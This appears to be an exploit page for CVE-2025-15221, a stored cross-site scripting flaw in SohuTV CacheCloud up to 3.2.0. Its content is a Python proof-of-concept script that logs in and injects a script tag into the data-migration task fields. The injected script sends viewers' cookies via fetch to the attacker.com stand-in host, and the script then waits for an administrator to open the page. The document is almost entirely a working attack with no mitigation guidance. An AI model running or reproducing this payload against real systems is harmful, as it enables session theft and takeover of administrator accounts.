CVE-2025-15221 SohuTV CacheCloud跨站脚本漏洞

import requests # CVE-2025-15221 PoC - SohuTV CacheCloud XSS # Target: SohuTV CacheCloud <= 3.2.0 # Vulnerability: Stored XSS in AppDataMigrateController.java index function TARGET_URL = "http://target-server:8080" USERNAME = "attacker" PASSWORD = "password" def login(): """Login to CacheCloud to obtain session cookie""" session = requests.Session() login_url = f"{TARGET_URL}/login" data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=data) return session if response.status_code == 200 else None def exploit_xss(session): """Inject XSS payload via data migration feature""" # XSS payload - Cookie stealing xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" migrate_url = f"{TARGET_URL}/appDataMigrate/index" data = { "taskName": xss_payload, "sourceAppId": "1", "targetAppId": "2", "description": xss_payload } response = session.post(migrate_url, data=data) return response.status_code == 200 def main(): session = login() if session: if exploit_xss(session): print("[+] XSS payload injected successfully") print("[*] Wait for admin to view migration page") else: print("[-] Failed to inject payload") else: print("[-] Login failed") if __name__ == "__main__": main()